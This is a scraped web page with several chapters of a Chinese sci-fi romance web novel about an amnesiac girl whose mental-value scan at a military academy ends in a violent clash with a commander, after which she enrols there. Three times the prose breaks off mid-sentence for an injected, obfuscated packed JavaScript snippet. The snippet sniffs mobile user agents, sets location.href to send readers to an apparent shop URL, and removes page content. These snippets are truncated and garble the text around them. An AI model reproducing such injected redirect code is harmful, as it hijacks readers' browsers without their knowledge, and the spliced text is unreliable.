**白梦长廊提醒您──** **您所发送的用户自上次登录已过124天** **是否设置上线提醒?** 他点下“确认”。 原来已经这么久没上线了吗?岑之渊向下滑动,查看001留下最后一条消息。 【岑】:如果在生活中总被骚扰怎么办? 【001本人】:简单,像我似的……只存在于网络中不就好了? 【岑】:可是如果我无法逃避现实呢? 【001本人】:哦,让我想想──那捏造出一个不存在的男友,描述得越恐怖越好,他们准保离你远远的! 虽然很蠢,但胜在实用。 一阵有序的阴影划过天空,原来是群鸟儿成群结队地朝向东飞去,叫声凄厉。 他认出了那种鸟类──曜雀。 曜雀终生都在寻找它们梦中的栖息地,迁移距离遥远而不可望,海面、陡崖、峡谷、盐地、森林…… 岑之渊看着它们的飞行的轨迹,手指不经意地触碰着胸口的弹孔。 指尖下方距离心脏只有五公分,周围至今还有数十块弹片的残留──是那个人唯一给他留下的东西。 4. 精神值 邬泽接过浮空器控制权,驾驶其平稳降落在停降台中央。 呼啸的风从机舱门涌了进来,嬴欢愣愣地看着外面的景色。 华丽内敛的教堂式建筑、考究精致的园林设计,以及一排高高飘扬的学院旗帜…… 这里的一切她都很喜欢。 两排身穿制服的人在两侧肃穆而立,他们胸前佩戴着耀眼的和平徽章。 在舱门打开同时,一道道目光向她投来,这些目光如暗夜中的火炬,坚毅、充满力量。 一位三四十岁的女人从队列中向前几步,笑盈盈地向她敬礼:“嬴小姐,我谨以代表克里斯军事学校欢迎您的到访。” 嬴欢表面平静无波,实则冷汗已经从脖颈流到后背了。 邬泽从身后挽住她的腰侧,沉声提醒道:“这位是厄斯女士,是克里斯自建校以来最年轻的校长,你的肃清者身份目前只有她知道。” 现在他们眼中的少女只有“邬家之女”的身份,但这已经足够让他们表现得重视和尊敬。 嬴欢被他硬生生推出一只手来,僵硬道:“您好,厄斯女士。” 厄斯回握她的手,礼貌地夸奖道:“你和我想象中的有些不同,真是个谦逊的孩子──” “谢谢您。”嬴欢生疏地扯了扯嘴角,四肢依旧硬邦邦的。 厄斯带着她介绍了剩下的几位学院领袖,基本上都是各院的主任、负责人等。 一一握手后,女人着重点名了人群中唯一的学生。 “来,现在为你介绍一下我们学校最优秀的学生之一。”厄斯的声音偏中性,说话时带着恰如其分的严肃:“梅瑟·雪莱,现任学生会会长。” 嬴欢顺着抬起脑袋,与一双温柔无害的眼睛对上视线。 青年对着她笑了笑,他的音色如同质感上乘的松木,介于清澈与低沉中间,“见到你是我的荣幸。” 肩宽腰细、个高腿长。黑金色的衬衫在他身上宛如量身定做,完美凸显了这具美好的身体。 梅瑟上前一步,用柔软的手心捧起她的左手,俯下俊美的头颅,落上诚挚的一吻。 嬴欢安静地等待他的吻手礼结束,不知道是不是错觉,她总觉得眼前的人漂亮得有些过头了。 两片唇像真正的花瓣似的,肤白如雪、温润而泽。 形状柔和的眼角有几缕薄发遮挡,而就在那被遮挡住的肌肤下,有一片浅金色的鳞状胎记。 另外,他的左耳廓上竟然有两个耳洞,挂着一连串的流苏贝壳耳坠,和三好学生的身份格格不入。 阳光之下,像来自深海中的雄性美人鱼浮出海面,在浪花、泡沫与歌声中,与岸上的人类一同沉沦于世俗之间。 青年的眼睫微微颤动,她懵懂的眼神直勾勾地落在他身上的每一处,如同烙印般洗刷不去。 他太熟悉这种直白的目光了,每一年、每一天,他都活在这种目光的审视之下。 眼底划过一丝乏味,若无其事地放开她的手指。 “希望你能度过愉快的一天。” ** 一行人走在前往医学院的路上,四周提前进行了道路封锁,确保不会有人过来打扰。 嬴欢有生以来第一次见到这么大的校园,像只刚出生的鸟儿般探着脑袋,四处东张西望。 手指轻轻抚过花坛中央的大丽花,花瓣沾着清晨的露水,美而妖艳。 有几只小麻雀落在她的肩头不肯离开,她只好带着它们一起走。 短短五分钟的路程,嬴欢像从花丛里走出来的小刺猬,身上以及周围都挤满了各式各样的小动物。 走在最前方的邬泽回过身,想要看看这家伙怎么会走得这么慢,正好瞧见嬴欢被困在原地的一幕。 他往回走去,伸手赶走了她发顶的小团雀,转而又飞来了一只赤尾凤蝶。不仅如此,她身后还跟着一连串的哺乳动物。 她以前的体质也是这样么?邬泽皱着眉想。 梅瑟适时地从助理手中接过一把遮阳伞,伞面遮挡住少女大半部分身体,替她“婉拒”了不少小动物。 两个男人把嬴欢夹在中间,逼人的气场直接吓退了不少在树丛里蠢蠢欲动的小松鼠。 很快,写着医学院校训的三维投影映入眼帘。 博学、无私、奉献自我。 白金色的院徽投影吸引了嬴欢的全部注意力——那是一只衔着月桂的白鸟,以橄榄枝点缀,象征着优雅、平和。 “这里就是医学界引以为傲的白鸟院,全星际最优秀、最古老的医学院之一。”厄斯介绍道。 嬴欢很认真地听着,频频点头。 从大型建筑楼走出来的学生们都有一个共同点,他们的耳朵上配有相同的白色装饰物,类似于水滴形。 “那是医学生内部网络通讯设备,同时也象征着他们的身份,以便有特殊情况发生时能够表明自己的职业。”梅瑟注意到她的疑惑,适时解答。 在某些危机情况下,如果在大街上看到有这种耳饰的人,就可以放心地向他们寻求帮助。 “白鸟院培养了许多优秀人才,比如现任星际医疗部司长、狄兰医学委员会会长,还有很多医疗科技公司高管等等。”厄斯的欣慰之情流于言表。 “据我所知──秦医生也是这里毕业的学生。”邬泽补充道。 听到他的话,嬴欢恍然地看了看院徽。 原来这里就是她曾学习的地方吗? 这种神奇的感觉让嬴欢放松了许多,她仿佛看到秦尔槐的身影在这里一幕幕走过,捧着书的她、拎着外卖的她、打着哈欠的她、用笔敲脑袋的她…… 嬴欢不禁翘了翘嘴角,完全是被自己的想象力逗笑了。 所有人都看向了少女,沉默的同时还有点儿不知所措。 天姥姥,这一路上都没怎么见过她说话,原来她是会笑的啊? 梅瑟微微侧头,将她毫无察觉的模样收入眼底。 看来是很重要的人呢,他想。 “哦,小秦啊──”厄斯也笑了起来,开始回忆往昔,“她可不是个省心的孩子。” “打架、逃课、偷拿违禁品、破坏公共设施……”女人一连串地说出了秦尔槐曾经干过的“好事”。 那时的厄斯还是教务处主任,几乎天天都在教务处办公室处理她的那些乱七八糟的琐事,对秦尔槐的名字简直比自己家孩子都熟悉。 要说全学校最淘气的孩子就数她了,以至于厄斯一想起那张脸就反射性头疼。 嬴欢大概能理解厄斯的无奈,毕竟就算是失忆的她也受不了秦尔槐的脾气。 那可是嗓门高过天的女人,她的耳膜至今还在痛呢! 办公室里的秦尔槐:阿嚏!阿嚏!阿嚏! ** 观察室内。 嬴欢躺在病床上,等待着精密仪器的扫描。 她心中一阵忐忑不安,只能直勾勾望着头上的吸顶灯,做检查什么的真是人生一大难题,她默默想。 观察室玻璃的另一面。 许多人在窃窃私语,他们时而皱眉时而沉思。 红光亮起,嬴欢缓缓闭上眼睛,全身尽可能地放轻松。 节奏平稳的“滴滴”声代表检查正式开始。 “嘟嘟……” 嬴欢听到自己的心跳与仪器声逐渐同频,眼皮不自觉地颤动,心底徒然生出几分紧张与恐慌。 这种感觉就像把自己毫无保留地揭开,开膛破肚,任人品尝。 静,实在是太静了。 嬴欢一度以为外面的世界崩塌了,要不然怎么会这么安静?她一丁点儿都不敢乱动,生怕影响检查结果。 深呼吸,她告诉自己。 【数值检测中——】 【15、14、13……】 【注意!目标人物精神值已跌破10!】 警报声不断机械重复着,红色的灯光充斥了整个观察室。 灯光映照着一张张面露惊恐的脸,他们不断调试着设备,结果警报声却越发刺耳。 【警告!目标精神值正在持续降低!9!8!7!6!】 死亡倒数般的机械声让人们如临大敌。 10是什么概念!顶级连环杀人犯的平均精神值在30上下浮动,就连前几天行动局俘获的那个反叛者头子的精神值也有25!她竟然还在跌落?! 嬴欢不知道外面发生了什么,只能看见一张张惊恐的脸。 他们的面孔在她的眼中逐渐变得扭曲,手臂肌肉紧绷,嬴欢的呼吸变得尤为困难。 不,不要这么看着我── 心脏跳得极快,脖颈表面青色的脉搏不断跳动,刺眼的红光令她感到一阵阵恐慌与厌恶。 头痛欲裂。 她觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462675|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己仿佛已经有一只脚迈入了地狱。 突然间,杂乱的脑海里闪过几个画面,嬴欢忍着痛放声嘶吼,拼尽全力去抓住它们。 她的手指以不正常的姿态扭曲着,头发胡乱飞扬,甚至有一部分遮盖住了她的眼睛。 抓住它们,抓住它们── 她在心底不断高喊。 直到大段大段的记忆像洪流般涌入她的脑海: ——她被关在血色的笼子里,红线缠绕着她的手腕,渐渐隐没于血脉内部。 ——她坠落于人群中央,无数尖牙刺透喉管,血液从中喷涌而出。 ——她躺在荆棘丛上,花朵将她的身躯掩埋于嫩蕊之下,鸟虫凶猛地啄食着她的皮肤。 “呃啊——” 固定绑带被她的小臂强行撕裂,凄冽的嘶吼声穿透隔音玻璃,震撼了在场的每一个人。 紧急装置开启。 观察室内的四角放出浅黄色喷雾,很快雾气布满了整个房间。 声音渐渐消失,气体缓缓凝成水珠,从玻璃上滑落。 这次的爆发实在太过突然了,险些酿成大祸。 观察室的人员们齐齐松了口气,幸好这里没人有心脏病史,不然一定得被这场面吓个半死。 红灯熄灭。 里面的少女如同童话里昏睡的睡美人,脸颊泛着红晕,眉头还在紧紧皱着,看起来痛苦万分。 “我去看看她的情况。” 在所有人都无言的情况下,梅瑟率先打破了沉默。 一群老学究们齐齐开口阻止。 “梅瑟,我们无法确定她的攻击性是否已经消失,这很危险。” “是啊!她已经进入发狂状态,还有以她的能力不是我们能够控制的……” “再等等吧,梅瑟。别冲动行事。” 邬泽站在灯光的最中央,喧闹无边的人声里,他静静盯着她的眼睛。 “我来。” 人群噤住了声。 梅瑟神色不明地望向他,浅色睫毛轻轻颤动:“你……” 没有人反对邬泽,或许是因为他们都知道这位最高指挥官不会听从任何人的劝解。 “邬泽上将──”厄斯叹了口气,“请您务必带上这个,以确保您的安全。” 她递上一个透明的防毒面罩。 邬泽看着周围人担忧的眼神,把“不必”这两个字默默咽了下去,伸出手指接过。 人们望着那挺拔的身姿转身离开,心里不约而同地为他捏了把汗。 【虹膜识别通过。】 感应门打开。 军靴踩在白色钢制地板上,瞳孔冷冷扫过外表凌乱的少女。 两只手臂有明显勒痕,小腿以及脸部有轻微擦伤。 看来是经历了不小的折磨。 邬泽谨慎地一步步向她靠近,无意识屏住呼吸,集中精神,提前做好防御准备。 少女一动不动,宛若一具刚死去不久后的尸体。 确认安全后,他利落反剪她的两只手臂,拿出腰侧的手铐。 然而,就在即将扣住的一瞬间,一股极为猛烈的爆发力将手铐打落至十米之外。 那双锋利的眼眸像要刺穿他般,绯红的眼角闪烁着光芒。 邬泽心下一紧,暗道不好。 现场的人看见这一幕心中大骇。 这个女人竟然能在吸入高浓度麻醉剂的情况下仍然保持清醒! 而也是在这一刹那间,二人已经过招数十次。 她的速度并非正常人能够肉眼可见,但邬泽也不是吃素的,他下手狠厉,直击她的弱点——颈部。 可是,少女几乎完美预判了他的每一个动作,并且还能游刃有余地进行攻守。 可恶──真是个彻头彻尾的疯子。 邬泽听见她近乎疯狂的笑声,顺势又抵住她的一拳。 邬泽的近身格斗曾被当作完美示范录入教学大纲中,可是尽管如此,少女的力量对他而言仍然是有威胁性的。 监控摄像头有规律地闪烁着红灯,一帧不差地记录全程。 虽然军方绝对不允许这段影像泄露,但若是浅浅幻想一下,如果这段珍稀的影像流传进了星际网里,将会产生多么爆炸性的热度! ──星际最高指挥官和顶级天才肃清者的“世纪之战”。 爆点直接拉满! 5. 遇袭 邬泽当机立断地改变自己的战术,转守为攻。 他能察觉到嬴欢的力气正在消耗,说明麻醉气体并不是全无用处。 “嬴欢!现在停手我可以不伤到你──” 说话的间隙,嬴欢飞速用肘击击打他的面部,骨头与骨头之间发出碰撞。 嘴角流出蜿蜒的血迹,邬泽反身用膝盖压住她的上半身,双手扼住那柔弱的颈部。 他说: “你输了。” 这三个字并没有惹怒嬴欢,准确地说她根本没有听进去他哪怕一个字。 就当所有人都以为尘埃落定时,观察室的灯源突然全部熄灭。 观察室内爆发一阵抱怨声。 “怎么回事?” “我看看……应该是电力系统的问题。” 医师与助手开始检查各系统的检修报告。 焦急的氛围在人们当中蔓延,有人直接开始窃窃私语。 “怎么办,我们要见死不救吗?” “放轻松一点儿,他们是家人!不会出什么事的!” “她的精神值只剩下1了!你要我们怎么放轻松!” “……” 许久未说话的梅瑟直接快步冲了出去,试图闯进观察室查看情况。 可是很快,他发现虹膜系统显示主体高度损坏。 也就是说,短时间内没人可以再进入这扇门。 黑暗内,气氛尤为紧张。 “你们想要什么?” “我不需要你们卑劣的爱。” “我恨你们,恨你们的疯狂,恨你们的自私,恨你们的一切……” 邬泽被抵在床面上无法动弹,只能皱着眉看着少女发疯。 “嬴欢,把枪放下。” 方才她突然夺走他腰间的配枪,对着灯光连射几发,然后又无比精准地一枪废掉了门禁系统。 他惊讶于她的枪法和速度,同时也察觉到自己越发危险的处境。 “嬴欢,你到底能不能听到我说话?” 难道他这么长时间都是在对牛弹琴? 他的脑海里满是少女撕心裂肺的怒吼。 “我给不了你们想要的……离我远一点!” “都滚开,都滚开!” 看来确实听不到他的话。 邬泽想把人从身上掀下去,却被冰冷的枪口堵住喉咙。 呼吸凝滞。 只要她想,杀死他只需要轻轻扣动扳机。 邬泽无法预测她的想法,毕竟她现在可是个精神混乱的疯子。 如果按照狄兰的法律制度,一个疯子在处于非清醒状态的情况下杀了人,那么法官也无法判处其重刑。 他伸出手掌,握住她攥紧枪托的手,对准心脏。 “来吧。” “我倒要看看你的胆子有多大。” 他的声音平稳而有力,仿佛被枪抵住的不是他。 指尖微微发颤,二人在黑暗中各怀心事。 不知过了多久,直到两人的汗液相连,空气都变得潮湿起来,砸门声络绎不绝。 他在精神紧绷的情况下听到了一声轻哼。 “邬泽,你真以为我是什么良善之辈么?” 她将枪狠狠砸向感应门,“砰”的一声,正是告诉外面的人她和他都还活着呢。 “我的检测结果如何?”她出声道。 “除了精神值过低以外,一切正常。”邬泽知道她已经稳定下来,声音带着几分疲惫。 “呵,看来我是有了一块免死金牌?”她目光滑过他的脖子,半开玩笑道。 邬泽在黑暗中寻找她的眼睛,死死盯住。 “我可以保证,如果你敢做些什么,那这里的所有人都逃不了干系。” “具体一些呢?除了不能杀了你,其它都可以?” 邬泽忽然觉得她的话怎么越变越多了,他强忍着怒意道:“下去。” “要是我拒绝你的命令,你会对外面那些人做什么?” “最后一遍,给我滚下去。”他手臂紧绷的线条正在警告她。 真以为这种威胁会对她起作用吗?嬴欢浅浅翻了个白眼。 她伸手一扯,把他的面罩粗暴地拉开。 “你还是先看看他们对我做了些什么吧──敬、爱、的、指、挥、官。”那声音带着无尽的恶意。 残留的麻醉气体侵入他的神经系统,邬泽眉眼一凛,反身下床。 外面的人砸门砸了个寂寞,门上连个划痕都没有。 嬴欢托着下巴,悠闲地看着男人如何单膝跪地、青筋暴起,一点一点地失去意识。 她冷笑。 真是不自量力的家伙。 等专业的消防队抵达白鸟院时,他们忽而听见观察室的方向传来一声巨响。 “坏了,不会是哪里爆炸了吧!” 他们以最快速度抵达救援现场,却因为脚程太快而看见不得了的一幕。 人群中。 他们敬重的狄兰指挥官大人被一个看上去很细条的少女抱在怀里,刚才那道宛如爆炸的巨响则是来自她的一个上踢腿。 防爆材质的感应门倒在她的脚下,此刻此时,她就像一位从废墟中新生的“王”。 所有人都沉默了。这画面实在冲击力太强。 而从议会大厦匆忙赶过来的副官看到这一幕时更是下巴都惊掉了。 那谁啊?不是我们上将大人吧? “来都来了,那就搭把手吧?” 嬴欢没好气地扫着一个个张着大嘴的人,脸上的血痕感觉痒痒的,得赶紧去冲洗一下。 “好好好!” 话是这么说,却没一个人敢上手。 嬴欢被这群伪君子气得作势就要把人扔在地上。 “别别别!我的祖宗奶奶!”副官举着两只手差点儿就要跪下。 即使如此,缺心眼儿副官仍然磨磨蹭蹭地在嬴欢面前站着发呆。 根本不知道该从哪里下手啊! “让我来吧。”梅瑟淡声道。 身材高挑的青年站在她的面前,矜贵清朗的模样与狼狈不堪的少女仿佛来自两个世界。 嬴欢干脆利索地把人交给他,毫不留恋地拨开人群。 忽然间,身影一顿。 嬴欢似乎是又想到些什么,她停下脚步,轻飘飘地回头看向众人。 她的目光只停留在一人身上──那位伫立于人群最前端的身穿绛紫色西装的女人。 嬴欢对着她缓缓开口。 “厄斯女士。我,真的很想进入克里斯学习。” 她的声音无比笃定,是陈述而不是询问。 众人彼此互相看了看,面上统一流露出一抹难色,他们心照不宣地看向陷入沉寂的厄斯。 这可不是一个简单的决策,或许会影响克里斯的整个未来也说不定。 几个位高权重的老学究一致上前劝告厄斯,却通通被她的一个挥手打发了下去。 她的一只手插在裤袋中,感觉就差身边的秘书拿根点燃的烟出来递给她了,浓稠的眉眼与少女静静对视着。 最后,厄斯深深叹了口气,正式向她发出邀请: “克里斯的大门永远向你敞开。” 在绝对的实力面前,一切都是浮云。 ** 近日舆论场多了许多爆炸性新闻,有关星际著名的克里斯军校以及军方高层,相关话题直冲头条版面。 【邬泽上将在克里斯军校遭遇不明袭击,具体情况军方暂未回应。】 星际网下方出现了许多评论: “啥?邬泽什么时候来咱们克里斯了?” “对啊对啊,根本没听到风声!不会是假新闻吧,该死的无良媒体!” “楼上的,有没有可能军方人员的行程是严格保密的。” “我的老天奶嘢,到底哪个蠢货敢在克里斯袭击上将啊!” “克里斯学生表示,这事和我们内部人员没关系!不是克里斯学生干的!” “什么玩意,在军事学校刺杀上将?好小众的文字……” ** 克里斯军事学校,A区02号教学楼。 一个白胡子老头正滔滔不绝地讲着近代战争史,讲到兴处时还会手舞足蹈地比划来比划去,而台下的学生们早就习以为常。 他手边的全景投影正在模拟七百年前的核武器战争,极致的光影技术简直让人身临其境。 然而,再逼真的场景也无法让他们提起任何兴趣,因为这已经是他们看过的第11453遍了! 白胡子老头儿的西装上别着铭牌,上面写着──奥列格·伍兹。 与铭牌并列的是一个十字架胸针,经典的黑银配色,代表着至高无上的神谕。 ──燕尾十字架,犬院的经典标志。 和白鸟院差不多,犬院学生们也是人手一个十字架,具有十足的象征性意义,只不过没什么实际作用就是了。 或许这也是学生们感到无聊的原因之一吧?毕竟犬院这些家伙都是个顶个的老古董,这白发老头儿更是古董中的古董。 谁能想他的怪癖是一边看老式影碟一边讲战争史呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462676|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 教室后排聚集了不少蹭水课的人群。 克里斯学院有个使人诟病许久的学分制度。 学生进行课程学习的方法有两种,线上以及线下。 虽然在线上可以自由选择心仪的课程进行学习,但学校有个极为离谱的规定,只要来到线下教室进行打卡听讲则可以获得原线上课程1.5倍的学分。 那可是1.5倍!和用枪指着他们来教室听讲有什么区别!? 当然,来是一码事,听不听又是另外一码事。 他们有的在聊八卦新闻,有的打开了模拟训练场,还有的昏昏欲睡,正在去和周公会面的路上。 非实战课程总是被学生们百般嫌弃,毕竟这种课都是名副其实的躺平就能拿学分。 虽然他们表面上唾弃这种不劳而获的行为,但背地里却很受用。 几个人在小声聊天。 “哎,你看校园网了没?” “你说那个指挥官?不是我干的。” “神经……谁问你了。” “就你这体格,不被保镖打成筛子就不错了。” “……” 事情闹得这么大,现场却没有照片或者影像流出,这一点更是给此次事件渲染上一层神秘色彩,一时间整个狄兰人人自危。 而克里斯校方在事发后并未第一时间回应,导致学生内部也开始流言四起。 有人说是行动局的安保出了问题,有人说是校方高层故意施压,更有甚者就差直接把“老子干的”写在脑门上。 嫌疑人成了个迷,每个人都开始怀疑周边的人是不是嫌犯,会不会暴起伤人之类的。 平静的学校内笼罩上一层名为“猜疑”的阴霾,渐渐地渗透至人的内心深处。 梅瑟手中的钢笔缓缓移动,娟秀的字体落在苍白的纸面上。 他刻意忽视后排的讨论声,专注于提取老师口中的关键知识点。 忽然,墨水洇湿了纸面,留下一道犹如撕裂般的印记。 因为他听到了自己无法忽视的东西: “过几天不就是迎新日了吗,听说厄斯女士要在开幕典礼上亲自向大家介绍一个特招生。” 梅瑟撕掉手掌下的纸张,开始重新撰写。只是这一次,他变得更加专注,有种自己和自己较劲儿的感觉。 “怎么又是特招生?上上个月不是刚来一个?” “那个穷小妞不是去犬院了吗?听说在那儿混得风生水起,不知道这次的要被分到哪个院……” “反正肯定不是白鸟院。”一个白鸟院学生摇了摇头,认真道:“医学生,狗都不当。” 犬院的人默默向她投去目光,并且亮了亮随身暗器。 坏了,这是踩人家尾巴上了。 “啊哈哈──我的意思是,我们医学生是人下人!这总行了吧!” 眼神阴郁的“十字架小鬼”们默默收回目光,他们现在无比想把几百年那些给犬院起外号的人从地里挖出来。 几个其他院的学生开始新一轮的悄悄话。 “我去,这还叫什么犬院啊直接叫鬼院得了!一个个跟没见过太阳的鬼魂似的!” 本来犬院招生就少,还没几个正常人! “啧,他们不是主攻笔杆子那一类的?身体素质差一点儿也很正常,反正最后也只有情报部门这一条路。比如我哥就是,连眼神都一模一样。” “喂,刻板印象了属于是。”一个隐匿在人群中的犬院学生忽然冒出头。 “……”众人惊恐。 加重刻板印象了属于是。 ** 沉重的钟声响起,梅瑟整理好桌面,将檀木座椅推回原位。 “梅瑟会长!” 梅瑟应声停住脚步,转过身看向陌生的小男生,露出标准的笑容:“有什么需要帮助的,同学?” “请问可以借用您的笔记吗!”小男生怯怯地低着头。 梅瑟的笔记是每个同学都无比渴望的存在,毕竟在这个技术飞速发展的年代,还能够坚持使用钢笔和书本这种老式工具的人,恐怕只有他一个了。 梅瑟故作迟疑,摇了摇头道:“很抱歉这位同学,我的笔记已经有人提前预约了。” 说完,男人徒留一个清隽的背影。 男生站在原地,看着那具纤瘦的身体越过茫茫人海,遗憾地垂下眼眸: “那可真令人伤心啊,梅瑟学长。” 嘶哑的声线从他的嗓子里挤出,他眼神迷离地抚摸过梅瑟的座位,发出桀桀的笑声。 是谁呢──是谁如此好运? 6. 迎新日 洒满阳光的花园里,一个穿着卡通背心的少女蹲在玫瑰丛中修剪枝叶。 花儿与鸟与蝴蝶,围绕着她翩翩起舞,宛若梦境。 灼热的太阳炙烤着皮肤,汗液从光洁的鼻尖缓缓渗出,嬴欢用手背擦了擦,将修枝剪丢在一边。 她长长吐出一口气,紧接着向后倒去。 身下的草坪柔软而清凉,她仰面望着万里无云的天穹,短暂地放空。 直到现在,她仍未知道自己所拥有的一切究竟是真实的还是一场梦。 “小姐,检测到您的情绪值波动幅度超过正常范围。是否需要为您拨打心理咨询热线?”智械管家根据情绪监测系统向嬴欢提出了建议。 “谢谢你,修──不过不必了。” 嬴欢闭着眼睛,用简短的话语拒绝了他。 “当前环境温度27℃,体感温度27℃。根据您的身体报告推算,如果您继续在此逗留超过三十分钟以上,那么上呼吸道感染的概率将提高至24%。” “修──”嬴欢快要受不了这个话多的人工智障了。 她只想安安静静地待一会儿。 “定时提醒:您将在下午1点钟与厄斯女士进行面谈,请及时处理相应事宜──” “水分补充提醒:您已超过3小时未摄入水分。根据营养学会建议,成人每日应饮用水量在1500──2000ml范围内……” “安全提醒:您的出汗量过多……” “……”嬴欢向他招了招手。 管家得到指令,开始执行。 等身长两米的巨型智械来到眼前时,嬴欢目光平淡地戳了戳他的钛钢金属外壳。 “你会跳芭蕾舞吗?” “……” 智械思考了一下,“根据程序计算结果,结论:不会。” “啧,真没用。” 不知怎么回事,这只宛若大型犬似的管家突然变得可怜兮兮的:“根据行业协议规定,我仅能执行您的合理诉求。” “你是在质疑我的指令?” “……”智械沉默了一会儿,直接开始原地待机。 嬴欢直接拿起水管,将水流冲向他的金属躯体,“傻家伙。” 可怜的智械被浇成了一道瀑布,身前甚至出现了一道小彩虹。 在嬴欢还在放声嘲笑的时候,那双休眠的眼睛忽然闪了闪红光,这是智械受到攻击时准备反击的前兆。 然而仅在一个眨眼间,那带有警告意味的红光回到了正常的白色,反击模式并未启动。 他违抗了程序。 “喂,过来抱我。” 智械向前几步,冰冷的嵌着传感器的手臂穿过少女的膝盖窝。 像抱孩子一样,仅用单只手臂托住她的身体。 “把花也带上。”她指了指花篮,里面是她悉心挑选的、准备插入花瓶的花材。 于是,管家一手托着主人,一手拎着不太和谐的小花篮,步伐稳重地向小洋房走去。 斜长的影子下,渐渐传来他们一大一小的两人间的呓语。 “修──如果有一天我离开了你,你会伤心吗?” “小姐,我可能无法回答您这个问题。” “但是有一点我能够确定的是──我诞生之初的意义就是为了您而战斗,所以无论发生什么,我都将与您站在同一战线,战斗至最后一刻。” 战斗至最后一刻么?嬴欢面朝着太阳的方向眯了眯眼睛。 日光透过彩虹,像块破碎的棱镜将两人镌刻于其中。 或许在千百个日夜后,她会在某一个瞬间,没由头地想起来今天的这一幕。 ** 嬴欢在这座新别墅里住了也有些日子,家具风格都是邬女士按照嬴欢的喜好亲自置办,并且还将这处房产转移到了嬴欢的名下。 别墅小洋房坐落在寸土寸金的钻石海岸,占地面积不大但设施一应俱全。泳池、花园、院子、海滩与落日……完全符合嬴欢梦想中的家。 邬明仪经常从繁忙中抽出时间来看望她,每次来的时候都会亲自下厨。 她们二人都没什么架子,就如普通母女一样,一起吃饭、聊天、看日升日落,气氛和谐而轻松。 嬴欢不在意自己的身世,也不在意之前与邬明仪的关系到底如何。她只知道这个女人给了她一个家,给了她自失去记忆后的第一份爱。 她没理由去推开这一切。 母女二人的关系日益进展,以至于尤拉时不时就会跑出来感叹一句时过境迁。 连这俩人都有和好如初的一天了,那太阳从西边升起还有什么不可能的? 要不是它清楚记得失忆前的嬴欢是什么鬼脾气,恐怕真会被母慈子孝的一幕感动到落泪。 然而实际上,嬴欢从来没有向任何人询问过自己的过去。或者说,她正在刻意地遗忘过去。 失忆只不过成为了一个完美的契机,让有的人能够弥补过去,让有的人能够重新忏悔。 ** 【你怎么看起来一点儿也不紧张?】 嬴欢眼皮动了动,望向舷窗外的云层:“为什么会紧张?” 今天是克里斯一年一度的迎新典礼,也是嬴欢的正式入学日。 【可是正常人开学不都应该是愁眉苦脸、悲痛欲绝、唉声叹气、黯然神伤……】 “停——”嬴欢冷着脸叫停它的成语接龙。 它说的那些与嬴欢本人简直相差十万八千里。 她现在已经迫不及待地想要开始学习新事物了,就像小学生进入新学校一样充满着期待与难言的兴奋! 不知道克里斯的宿舍有没有她卧室那么大,食堂师傅的手艺有没有邬女士那么好,室友们有没有修那般真诚可爱! 【你是准备把那里当新家么……】尤拉直接点明了她内心的想法。 少女直接闭上眼睛不理会它。 二十分钟后,浮空器稳稳降落。 嬴欢是踩着点抵达克里斯学院的入口,没想到还有比她来得更晚的。 停泊处停着各式各样的浮空器,几乎每一个都可以抵押一套别墅。 嬴欢脑袋里一直盘旋着两个字——奢侈。 虽然她自己也是坐着浮空器来的,但那归根结底还是邬明仪的财产,嬴欢顶多也就沾了点儿光罢了,和这些富二代相比至少还差了个“亲生子”身份的差距呢。 嬴欢默默隐藏自己,弯着腰从一大群迟到的新生身后走过。 学校入口前是一片巨大的雕塑广场,放眼望去,宏伟至极。 裂痕明显的石英地面看上去年代久远,两侧古老的大理石花坛种植一株株昂贵的绯樱。 石阶向上,一座女神持灯像屹立在广场中央。 女神手中的提灯由某种特殊的萤石制成,即使在白日里依旧可以亮如萤火。 嬴欢立于神像前方,认真观察这座知名的学院地标,与女神像相比起来她就和一只小蚂蚁差不多。 精心雕琢的铠甲栩栩如生,她左手提着灯光,右手的银剑直指苍穹,眼睛像两颗年轻的恒星,气势磅礴,震撼人心。 灯座的下方刻着模糊不清的小字,不知道的还以为是鬼画符。 嬴欢磕磕巴巴地读出上面的古老铭文: “──我们、引领人类向上。” 不知为何,嬴欢下意识地想要摸向心口,那里如同一座待爆发的火山正在灼烧。 让人无奈又心烦的感觉。 也许连少女自己都没察觉到,她竟然能够读懂早已失传了几千年的文字。 穿着制服的少男少女们成群结队走着,偶尔会有嬉戏打闹的少年们从身边飞跃而过。 只有嬴欢一个人呆站在原地,仿佛唯独她的时间静止了般,显得尤为突出。 ** 人群中突然传出整齐的惊叫声。 “哎?那是不是狄兰行动局的舰队?” 上空突然出现一片巨大的阴影,吸引了绝大多数人的目光。 “我去,这不会就是那个邬家小少爷吧?还真来咱们克里斯了!” “好家伙,校园网终于靠谱了一次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462677|141804||http|test|mini|href|location''.split(''|''),0,{})); 